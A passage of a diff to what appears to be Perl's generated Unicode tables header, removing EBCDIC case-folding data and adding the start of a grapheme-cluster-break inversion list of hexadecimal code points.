0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - CF_use_AUX_TABLE_8, - CF_use_AUX_TABLE_9, - CF_use_AUX_TABLE_10, - CF_use_AUX_TABLE_11, - CF_use_AUX_TABLE_12, - 0x1E61, - 0, - CF_use_AUX_TABLE_1, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - CF_use_AUX_TABLE_13, - 0, - CF_use_AUX_TABLE_14, - 0, - CF_use_AUX_TABLE_15, - 0, - CF_use_AUX_TABLE_16, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_17, - CF_use_AUX_TABLE_18, - CF_use_AUX_TABLE_19, - CF_use_AUX_TABLE_20, - CF_use_AUX_TABLE_21, - CF_use_AUX_TABLE_22, - CF_use_AUX_TABLE_23, - CF_use_AUX_TABLE_24, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_25, - CF_use_AUX_TABLE_26, - CF_use_AUX_TABLE_27, - CF_use_AUX_TABLE_28, - CF_use_AUX_TABLE_29, - CF_use_AUX_TABLE_30, - CF_use_AUX_TABLE_31, - CF_use_AUX_TABLE_32, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - CF_use_AUX_TABLE_33, - CF_use_AUX_TABLE_34, - CF_use_AUX_TABLE_35, - CF_use_AUX_TABLE_36, - CF_use_AUX_TABLE_37, - CF_use_AUX_TABLE_38, - CF_use_AUX_TABLE_39, - CF_use_AUX_TABLE_40, - 0, - CF_use_AUX_TABLE_41, - CF_use_AUX_TABLE_42, - CF_use_AUX_TABLE_43, - 0, - CF_use_AUX_TABLE_44, - CF_use_AUX_TABLE_45, - 0x1FB0, - 0x1F70, - CF_use_AUX_TABLE_42, - 0, - 0x3B9, - 0, - CF_use_AUX_TABLE_46, - CF_use_AUX_TABLE_47, - CF_use_AUX_TABLE_48, - 0, - CF_use_AUX_TABLE_49, - CF_use_AUX_TABLE_50, - 0x1F72, - CF_use_AUX_TABLE_47, - 0, - CF_use_AUX_TABLE_51, - CF_use_AUX_TABLE_5, - 0, - CF_use_AUX_TABLE_52, - CF_use_AUX_TABLE_53, - 0x1FD0, - 0x1F76, - 0, - CF_use_AUX_TABLE_54, - CF_use_AUX_TABLE_6, - CF_use_AUX_TABLE_55, - 0, - CF_use_AUX_TABLE_56, - CF_use_AUX_TABLE_57, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - CF_use_AUX_TABLE_58, - CF_use_AUX_TABLE_59, - CF_use_AUX_TABLE_60, - 0, - CF_use_AUX_TABLE_61, - CF_use_AUX_TABLE_62, - 0x1F78, - 0x1F7C, - CF_use_AUX_TABLE_59, - 0, - 0x3C9, - 0, - 0x92, - 0x47, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - CF_use_AUX_TABLE_63, - CF_use_AUX_TABLE_64, - CF_use_AUX_TABLE_65, - CF_use_AUX_TABLE_66, - CF_use_AUX_TABLE_67, - CF_use_AUX_TABLE_68, - 0, - CF_use_AUX_TABLE_69, - CF_use_AUX_TABLE_70, - CF_use_AUX_TABLE_71, - CF_use_AUX_TABLE_72, - CF_use_AUX_TABLE_73, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Case_Folding_invlist[] = { /* for EBCDIC 037 */ - 1388, /* Number of elements */ +static const UV _Perl_GCB_invlist[] = { /* for ASCII/Latin1 */ + 1615, /* Number of elements */ 148565664, /* Version and data structure type */ 0, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x59, - 0x5A, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, + 0xA, + 0xB, + 0xD, + 0xE, + 0x20, + 0x7F, 0xA0, - 0xA1, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, + 0xAD, + 0xAE, + 0x300, 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, + 0x483, 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x587, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x600, + 0x606, + 0x610, + 0x61B, + 0x61C, + 0x61D, + 0x64B, + 0x660, + 0x670, + 0x671, + 0x6D6, + 0x6DD, + 0x6DE, + 0x6DF, + 0x6E5, + 0x6E7, + 0x6E9, + 0x6EA, + 0x6EE, + 0x70F, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x7A6, + 0x7B1, + 0x7EB, + 0x7F4, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, + 0x82E, + 0x859, + 0x85C, + 0x8D4, + 0x8E2, + 0x8E3, + 0x903, + 0x904, + 0x93A, + 0x93B, + 0x93C, + 0x93D, + 0x93E, + 0x941, + 0x949, + 0x94D, + 0x94E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x981, + 0x982, + 0x984, + 0x9BC, + 0x9BD, + 0x9BE, + 0x9BF, + 0x9C1, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, + 0x9CE, + 0x9D7, + 0x9D8, + 0x9E2, + 0x9E4, + 0xA01, + 0xA03, + 0xA04, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA41, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA70, + 0xA72, + 0xA75, + 0xA76, + 0xA81, + 0xA83, + 0xA84, + 0xABC, + 0xABD, + 0xABE, + 0xAC1, + 0xAC6, + 0xAC7, + 0xAC9, + 0xACA, + 0xACB, + 0xACD, + 0xACE, + 0xAE2, + 0xAE4, + 0xB01, + 0xB02, + 0xB04, + 0xB3C, + 0xB3D, + 0xB3E, + 0xB40, + 0xB41, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB4E, + 0xB56, + 0xB58, + 0xB62, + 0xB64, + 0xB82, + 0xB83, + 0xBBE, + 0xBBF, + 0xBC0, + 0xBC1, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCD, + 0xBCE, + 0xBD7, + 0xBD8, + 0xC00, + 0xC01, + 0xC04, + 0xC3E, + 0xC41, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, + 0xC62, + 0xC64, + 0xC81, + 0xC82, + 0xC84, + 0xCBC, + 0xCBD, + 0xCBE, + 0xCBF, + 0xCC0, + 0xCC2, + 0xCC3, + 0xCC5, + 0xCC6, + 0xCC7, + 0xCC9, + 0xCCA, + 0xCCC, + 0xCCE, + 0xCD5, + 0xCD7, + 0xCE2, + 0xCE4, + 0xD01, + 0xD02, + 0xD04, + 0xD3E, + 0xD3F, + 0xD41, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, + 0xD4E, + 0xD4F, + 0xD57, + 0xD58, + 0xD62, + 0xD64, + 0xD82, + 0xD84, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD0, + 0xDD2, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDDF, + 0xDE0, + 0xDF2, + 0xDF4, + 0xE31, + 0xE32, + 0xE33, + 0xE34, + 0xE3B, + 0xE47, + 0xE4F, + 0xEB1, + 0xEB2, + 0xEB3, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEC8, + 0xECE, + 0xF18, + 0xF1A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, + 0xF40, + 0xF71, + 0xF7F, + 0xF80, + 0xF85, + 0xF86, + 0xF88, + 0xF8D, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x102D, + 0x1031, + 0x1032, + 0x1038, + 0x1039, + 0x103B, + 0x103D, + 0x103F, + 0x1056, + 0x1058, + 0x105A, + 0x105E, + 0x1061, + 0x1071, + 0x1075, + 0x1082, + 0x1083, + 0x1084, + 0x1085, + 0x1087, + 0x108D, + 0x108E, + 0x109D, + 0x109E, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, + 0x135D, + 0x1360, + 0x1712, + 0x1715, + 0x1732, + 0x1735, + 0x1752, + 0x1754, + 0x1772, + 0x1774, + 0x17B4, + 0x17B6, + 0x17B7, + 0x17BE, + 0x17C6, + 0x17C7, + 0x17C9, + 0x17D4, + 0x17DD, + 0x17DE, + 0x180B, + 0x180E, + 0x180F, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, + 0x1920, + 0x1923, + 0x1927, + 0x1929, + 0x192C, + 0x1930, + 0x1932, + 0x1933, + 0x1939, + 0x193C, + 0x1A17, + 0x1A19, + 0x1A1B, + 0x1A1C, + 0x1A55, + 0x1A56, + 0x1A57, + 0x1A58, + 0x1A5F, + 0x1A60, + 0x1A61, + 0x1A62, + 0x1A63, + 0x1A65, + 0x1A6D, + 0x1A73, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B04, + 0x1B05, + 0x1B34, + 0x1B35, + 0x1B36, + 0x1B3B, + 0x1B3C, + 0x1B3D, + 0x1B42, + 0x1B43, + 0x1B45, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1B82, + 0x1B83, + 0x1BA1, + 0x1BA2, + 0x1BA6, + 0x1BA8, + 0x1BAA, + 0x1BAB, + 0x1BAE, + 0x1BE6, + 0x1BE7, + 0x1BE8, + 0x1BEA, + 0x1BED, + 0x1BEE, + 0x1BEF, + 0x1BF2, + 0x1BF4, + 0x1C24, + 0x1C2C, + 0x1C34, + 0x1C36, + 0x1C38, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE1, + 0x1CE2, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF4, + 0x1CF5, + 0x1CF8, + 0x1CFA, + 0x1DC0, + 0x1DF6, + 0x1DFB, 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 